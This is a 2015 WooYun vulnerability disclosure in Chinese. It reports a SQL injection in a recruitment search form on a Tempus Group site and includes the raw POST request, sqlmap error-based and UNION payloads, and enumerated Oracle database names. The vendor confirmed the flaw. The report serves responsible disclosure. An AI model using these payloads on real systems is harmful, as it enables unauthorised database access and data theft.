当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0117525

漏洞标题：腾邦某站SQL注入#2

相关厂商：腾邦集团

漏洞作者： 天地不仁 以万物为刍狗

提交时间：2015-06-02 09:22

修复时间：2015-07-17 09:54

公开时间：2015-07-17 09:54

漏洞类型：SQL注射漏洞

危害等级：低

自评Rank：1

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-02： 细节已通知厂商并且等待厂商处理中
2015-06-02： 厂商已经确认，细节仅向厂商公开
2015-06-12： 细节向核心白帽子及相关领域专家公开
2015-06-22： 细节向普通白帽子公开
2015-07-02： 细节向实习白帽子公开
2015-07-17： 细节向公众公开

简要描述：

我是来看看 还是不是 低 5分的 不争馒头争口气

详细说明：

这里跟几何老大讨论过 我跟他发现的不是一个点 所以没有重复
POST注入点：

POST /pw/job2/UI/index_zp.aspx HTTP/1.1
Host: group.tempus.cn
Content-Length: 1897
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://group.tempus.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.0.595.32 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://group.tempus.cn/pw/job2/UI/index_zp.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: cck_lasttime=1433121299794; cck_count=0; ASPSESSIONIDSCBCBTSQ=JJPFHBJBFNAPBMANLIJDDMGB
__VIEWSTATE=%2FwEPDwUJODQ4MzM0MzU1D2QWAgIBD2QWCgIBDxAPFgYeDURhdGFUZXh0RmllbGQFB2FkZHJlc3MeDkRhdGFWYWx1ZUZpZWxkBQdhZGRyZXNzHgtfIURhdGFCb3VuZGdkEBUDBuWFqOmDqAzmt7HlnLPnpo%2FnlLAV5rex5Zyz56aP55Sw5L%2Bd56iO5Yy6FQMADOa3seWcs%2Bemj%2BeUsBXmt7HlnLPnpo%2FnlLDkv53nqI7ljLoUKwMDZ2dnZGQCAw8QDxYGHwAFCGpvYl9raW5kHwEFCGpvYl9raW5kHwJnZBAVBQblhajpg6gJ6ZSA5ZSu57G7DOacuuelqOaTjeS9nBrmnLrnpagv6YWS5bqXL%2BW3ruaXheeuoeeQhg%2Fkv6Hmga%2FmioDmnK%2FnsbsVBQAJ6ZSA5ZSu57G7DOacuuelqOaTjeS9nBrmnLrnpagv6YWS5bqXL%2BW3ruaXheeuoeeQhg%2Fkv6Hmga%2FmioDmnK%2FnsbsUKwMFZ2dnZ2dkZAIJDxYCHgtfIUl0ZW1Db3VudAIHFg5mD2QWAmYPFQgCNDUDMTc4CeWHuuelqOWRmAMxNzgM6IW%2B6YKm5Zu96ZmFGuacuuelqC%2FphZLlupcv5beu5peF566h55CGFea3seWcs%2Bemj%2BeUsOS%2FneeojuWMugEyZAIBD2QWAmYPFQgCNDYDMTc4GOWbvemZheacuuelqOmUgOWUruS7o%2BihqAMxNzgM6IW%2B6YKm5Zu96ZmFGuacuuelqC%2FphZLlupcv5beu5peF566h55CGFea3seWcs%2Bemj%2BeUsOS%2FneeojuWMugEyZAICD2QWAmYPFQgCNDkDMTc4D1RNQ%2BmUgOWUrue7j%2BeQhgMxNzgM6IW%2B6YKm5Zu96ZmFCemUgOWUruexuxXmt7HlnLPnpo%2FnlLDkv53nqI7ljLoCMTBkAgMPZBYCZg8VCAMxMDUDMTc4GOacuuelqOi%2FkOS7t%2BW9leWFpeS4k%2BWRmAMxNzgM6IW%2B6YKm5Zu96ZmFDOacuuelqOaTjeS9nAzmt7HlnLPnpo%2FnlLABMmQCBA9kFgJmDxUIAzEwNAMxNzgY5py656Wo5Zui6Zif6ZSA5ZSu5LiT5ZGYAzE3OAzohb7pgqblm73pmYUM5py656Wo5pON5L2cDOa3seWcs%2Bemj%2BeUsAEyZAIFD2QWAmYPFQgCNjYDMTc4Ek5FVOS4ree6p%2BW3peeoi%2BW4iAMxNzgM6IW%2B6YKm5Zu96ZmFD%2BS%2FoeaBr%2BaKgOacr%2BexuxXmt7HlnLPnpo%2FnlLDkv53nqI7ljLoBMWQCBg9kFgJmDxUIAjY1AzE3OBNKQVZB5Lit57qn5bel56iL5biIAzE3OAzohb7pgqblm73pmYUP5L%2Bh5oGv5oqA5pyv57G7Fea3seWcs%2Bemj%2BeUsOS%2FneeojuWMugEyZAILDw8WAh4EVGV4dGVkZAINDw8WAh4LUmVjb3JkY291bnQCB2RkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQxJbWFnZUJ1dHRvbjGlXKtRVwCHefCl98%2FG%2B2%2BqBhTp1g%3D%3D&dpdcity=&dpdemployement=&txtword=123&ImageButton1.x=36&ImageButton1.y=6&__EVENTVALIDATION=%2FwEWCwLVpbvIBQLQtOyFBwLOjKSFBwLBisL2DQLNg9C3CQK%2B84iYBgKi%2FeftCQLbtcaHCQKTnq3XCQKnm5arDQLSwpnTCGKxm945tO0%2Fyqqp5vojW7cpy472


参数 txtword 未过滤

1.png


2.png


[15:53:02] [INFO] fetching database (schema) names
available databases [10]:
[*] ACCOUNT
[*] CTXSYS
[*] FLOWS_FILES
[*] INSURE
[*] JCPTJK
[*] MDSYS
[*] MOBILE
[*] OLAPSYS
[*] OUTLN
[*] OWBSYS
[15:53:03] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 16 times


3.png


4.png

漏洞证明：

sqlmap identified the following injection points with a total of 54 HTTP(s) requ
ests:
---
Place: POST
Parameter: txtword
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: __VIEWSTATE=/wEPDwUJODQ4MzM0MzU1D2QWAgIBD2QWCgIBDxAPFgYeDURhdGFUZXh
0RmllbGQFB2FkZHJlc3MeDkRhdGFWYWx1ZUZpZWxkBQdhZGRyZXNzHgtfIURhdGFCb3VuZGdkEBUDBuW
FqOmDqAzmt7HlnLPnpo/nlLAV5rex5Zyz56aP55Sw5L+d56iO5Yy6FQMADOa3seWcs+emj+eUsBXmt7H
lnLPnpo/nlLDkv53nqI7ljLoUKwMDZ2dnZGQCAw8QDxYGHwAFCGpvYl9raW5kHwEFCGpvYl9raW5kHwJ
nZBAVBQblhajpg6gJ6ZSA5ZSu57G7DOacuuelqOaTjeS9nBrmnLrnpagv6YWS5bqXL+W3ruaXheeuoee
Qhg/kv6Hmga/mioDmnK/nsbsVBQAJ6ZSA5ZSu57G7DOacuuelqOaTjeS9nBrmnLrnpagv6YWS5bqXL+W
3ruaXheeuoeeQhg/kv6Hmga/mioDmnK/nsbsUKwMFZ2dnZ2dkZAIJDxYCHgtfIUl0ZW1Db3VudGZkAgs
PDxYCHgRUZXh0BaABPHNwYW4gICBzdHlsZT0nd2lkdGg6MTAwO2hlaWdodDoxMDA7Jz48dGFibGUgIGF
saWduPWNlbnRlciAgIHZhbGlnbj1taWRkbGUgICBoZWlnaHQ9Jzk5JSc+PHRkPjxmb250IGNvbG9yPSd
yZWQnPuayoeacieS7u+S9leaVsOaNrjwvZm9udD48L3RkPjwvdGFibGU+PC9zcGFuPiAgIGRkAg0PDxY
CHgtSZWNvcmRjb3VudGZkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUMSW1hZ2V
CdXR0b24x4LSogHyNNVDEUIoOAtCV46NX3Zs=&dpdcity=&dpdemployement=&txtword=123%' AND
 2381=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(113)||CHR(104)||CHR(
115)||CHR(113)||(SELECT (CASE WHEN (2381=2381) THEN 1 ELSE 0 END) FROM DUAL)||CH
R(113)||CHR(111)||CHR(99)||CHR(102)||CHR(113)||CHR(62))) FROM DUAL) AND '%'='&Im
ageButton1.x=36&ImageButton1.y=6&__EVENTVALIDATION=/wEWCwLQ1uetBgLQtOyFBwLOjKSFB
wLBisL2DQLNg9C3CQK+84iYBgKi/eftCQLbtcaHCQKTnq3XCQKnm5arDQLSwpnTCCtxtOtAgggg/F9vO
OatP9GLtHTP
    Type: UNION query
    Title: Generic UNION query (NULL) - 25 columns
    Payload: __VIEWSTATE=/wEPDwUJODQ4MzM0MzU1D2QWAgIBD2QWCgIBDxAPFgYeDURhdGFUZXh
0RmllbGQFB2FkZHJlc3MeDkRhdGFWYWx1ZUZpZWxkBQdhZGRyZXNzHgtfIURhdGFCb3VuZGdkEBUDBuW
FqOmDqAzmt7HlnLPnpo/nlLAV5rex5Zyz56aP55Sw5L+d56iO5Yy6FQMADOa3seWcs+emj+eUsBXmt7H
lnLPnpo/nlLDkv53nqI7ljLoUKwMDZ2dnZGQCAw8QDxYGHwAFCGpvYl9raW5kHwEFCGpvYl9raW5kHwJ
nZBAVBQblhajpg6gJ6ZSA5ZSu57G7DOacuuelqOaTjeS9nBrmnLrnpagv6YWS5bqXL+W3ruaXheeuoee
Qhg/kv6Hmga/mioDmnK/nsbsVBQAJ6ZSA5ZSu57G7DOacuuelqOaTjeS9nBrmnLrnpagv6YWS5bqXL+W
3ruaXheeuoeeQhg/kv6Hmga/mioDmnK/nsbsUKwMFZ2dnZ2dkZAIJDxYCHgtfIUl0ZW1Db3VudGZkAgs
PDxYCHgRUZXh0BaABPHNwYW4gICBzdHlsZT0nd2lkdGg6MTAwO2hlaWdodDoxMDA7Jz48dGFibGUgIGF
saWduPWNlbnRlciAgIHZhbGlnbj1taWRkbGUgICBoZWlnaHQ9Jzk5JSc+PHRkPjxmb250IGNvbG9yPSd
yZWQnPuayoeacieS7u+S9leaVsOaNrjwvZm9udD48L3RkPjwvdGFibGU+PC9zcGFuPiAgIGRkAg0PDxY
CHgtSZWNvcmRjb3VudGZkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUMSW1hZ2V
CdXR0b24x4LSogHyNNVDEUIoOAtCV46NX3Zs=&dpdcity=&dpdemployement=&txtword=123%' UNI
ON ALL SELECT NULL,NULL,CHR(113)||CHR(113)||CHR(104)||CHR(115)||CHR(113)||CHR(77
)||CHR(112)||CHR(76)||CHR(108)||CHR(72)||CHR(67)||CHR(72)||CHR(116)||CHR(76)||CH
R(108)||CHR(113)||CHR(111)||CHR(99)||CHR(102)||CHR(113),NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL FROM DUAL-- &ImageButton1.x=36&ImageButton1.y=6&__EVENTVALIDATION=/wEWCwLQ
1uetBgLQtOyFBwLOjKSFBwLBisL2DQLNg9C3CQK+84iYBgKi/eftCQLbtcaHCQKTnq3XCQKnm5arDQLS
wpnTCCtxtOtAgggg/F9vOOatP9GLtHTP
---
[15:53:02] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Oracle

修复方案：

版权声明：转载请注明来源 天地不仁 以万物为刍狗@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-06-02 09:53

厂商回复：

感谢平台以及白帽子协助发现漏洞，我们以及协调项目组处理中！谢谢

最新状态：

暂无

漏洞评价：

评论